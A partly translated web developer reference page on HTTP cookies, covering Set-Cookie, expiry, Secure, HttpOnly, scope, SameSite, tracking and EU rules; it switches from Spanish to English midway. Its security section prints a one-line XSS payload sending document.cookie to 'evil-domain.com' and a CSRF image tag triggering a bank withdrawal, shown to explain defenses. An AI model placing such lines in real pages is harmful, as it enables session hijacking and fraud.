Traducción en curso

Una cookie HTTP, cookie web o cookie de navegador es una pequeña pieza de datos que un servidor envía a el navegador web del usuario. El navegador guarda estos datos y los envía de regreso junto con la nueva petición al mismo servidor. Las cookies se usan generalmente para decirle al servidor que dos peticiones tienen su origen en el mismo navegador web lo que permite, por ejemplo, mantener la sesión de un usuario abierta. Las cookies permiten recordar la información de estado en vista a que el protocolo HTTP es un protocolo sin estado.

Las cookies se utilizan principalmente con tres propósitos:

Gestión de Sesiones
Inicios de sesión, carritos de compras, puntajes de juegos o cualquier otra cosa que el servidor deba recordar
Personalización
Preferencias de usuario, temas y otras configuraciones
Rastreo
Guardar y analizar el comportamiento del usuario

Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era legítimo cuando eran la única forma de almacenar datos en el cliente, hoy en día se recomienda preferir las API de almacenamiento modernas. Las cookies se envían con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos móviles). Las APIs modernas para el almacenamiento del cliente son la Web storage API (localStorage y sessionStorage) e IndexedDB.

Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el Inspector de Almacenamiento en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento.

Creando cookies

Al recibir una solicitud HTTP, un servidor puede enviar un encabezado Set-Cookie con la respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP Cookie. Se puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que limita el lugar donde se envía la cookie.

 

El encabezado de respuesta HTTP Set-Cookie envía las cookies del servidor al agente de usuario. Una cookie simple se establece así:

Set-Cookie: <nombre-cookie>=<valor-cookie>

Este encabezado del servidor le dice al cliente que almacene una cookie.

Note: Aquí se explica como usar el encabezado Set-Cookie en varias aplicaciones del lado del servidor:
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies almacenadas previamente al servidor utilizando el encabezado Cookie.

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Cookies de sesión

La cookie creada anteriormente es una cookie de sesión: se elimina cuando el cliente se cierra, por que no se especificó una directiva ExpiresMax-Age . Sin embargo, los navegadores web pueden usar la restauración de sesiones, lo que hace que la mayoría de las cookies de sesión sean permanentes, como si el navegador nunca se cerrara.

Cookies Permanentes

En lugar de expirar cuando el cliente se cierra, las cookies permanentes expiran en una fecha específica (Expires) o tras un periodo de tiempo específico (Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Nota: Cuando se establece una fecha de expiración, la fecha y hora que se establece es relativa al cliente en el que se establece la cookie, no del servidor.

Cookies Secure y HttpOnly

Una cookie segura sólo se envía al servidor con una petición cifrada sobre el protocolo HTTPS. Incluso con Secure, no debería almacenarse nunca información sensible en la cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protección real. A partir de Chrome 52 y Firefox 52, los sitios inseguros (http:) no pueden establecer cookies con la directiva Secure.

Para prevenir ataques cross-site scripting (XSS), las cookies HttpOnly son inaccesibles desde la API de Javascript Document.cookie; Solamente se envían al servidor. Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar disponibles para JavaScript, por lo que debería establecerse el flag HttpOnly.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Alcance de las cookies

Las directivas DomainPath definen el alcance de la cookie: a qué URLs deberían enviarse las cookies.

Domain especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma como valor por defecto el host del Document.location actual, excluyendo subdominios. Si se especifica Domain, los subdominios son siempre incluidos.

Por ejemplo, si se establece Domain=mozilla.org, las cookies se incluyen en subdominios como developer.mozilla.org.

Path indica una ruta URL que debe existir en la URL solicitada para enviar el header. El carácter %x2F ("/") es considerado un separador de directorios, y los subdirectorios también coincidirán.

Por ejemplo, si se establece Path=/docs estas rutas coincidirán:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

Cookies SameSite

Las cookies SameSite permiten a los servidores requerir que una cookie no sea enviada con solicitudes cross-site (donde Site es definido por el dominio registrabe), lo que proporciona algo de protección contra ataques cross-site request forgery (CSRF).

Las cookies SameSite son relativamente nuevas y soportadas por la soportadas por los principales navegadores.

Aquí hay un ejemplo:

 

Set-Cookie: key=value; SameSite=Strict

El atributo same-site puede tomar uno de los dos valores (case-insensitive):

Strict
Si una cookie same-site tiene este atributo, el navegador sólo enviará cookies si la solicitud se originó en el sitio web que estableció la cookie. Si la solicitud se originó desde una URL diferente que la URL del location actual, no se incluirá ninguna cookie etiquetada con el atributo Strict.
Lax
Si el atributo se establece en Lax, las cookies same-site se retienen en (sub)peticiones cross-site, tales como llamadas para cargar imágenes o frames, pero se enviarán cuando un usuario navegue a la URL desde un sitio externo, por ejemplo, siguiendo un enlace.

El comportamiento por defecto de este flag si no está establecido, o no está soportado por el navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin.

 

Acceso desde JavaScript usando Document.cookie

También se pueden crear nuevas cookies via JavaScript usando la propiedad Document.cookie, y si el flag HttpOnly no está establecido, también se puede acceder a las cookies existentes desde JavaScript.

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

Tenga en cuenta las cuestiones de seguridad en la siguiente sección Seguridad. Las cookies disponibles para JavaScript puedes ser robadas por medio de XSS.

Seguridad

Nunca se debe almacenar ni transmitir información confidecial o sensible mediante Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro.

Secuestro de session y XSS

Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su sesión autenticada, así que el robo de una cookie puede implicar el secuestro de la sesión del usuario autenticado. Las formas más comunes de robar cookies incluyen ingeniería social o la explotación de una vulnerabilidad XSS de la aplicación.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

El atributo cookie HttpOnly puede ayudar a mitigar este ataque evitando el acceso al valor de la cookie a través de JavaScript.

Cross-site request forgery (CSRF)

Wikipedia mentions a good example for CSRF. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. There are a few techniques that are used to prevent this from happening:

  • As with XSS, input filtering is important.
  • There should always be a confirmation required for any sensitive action.
  • Cookies that are used for sensitive actions should have a short lifetime only.
  • For more prevention tips, see the OWASP CSRF prevention cheat sheet.

Tracking and privacy

Third-party cookies

Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).

If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's cookie statement.

Do-Not-Track

There are no legal or technological requirements for its use, but the DNT header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the DNT header for more information.

Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.

In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.

For more, see this Wikipedia section and consult state laws for the latest and most accurate information.

Zombie cookies and Evercookies

A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.

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Última actualización por: SphinxKnight,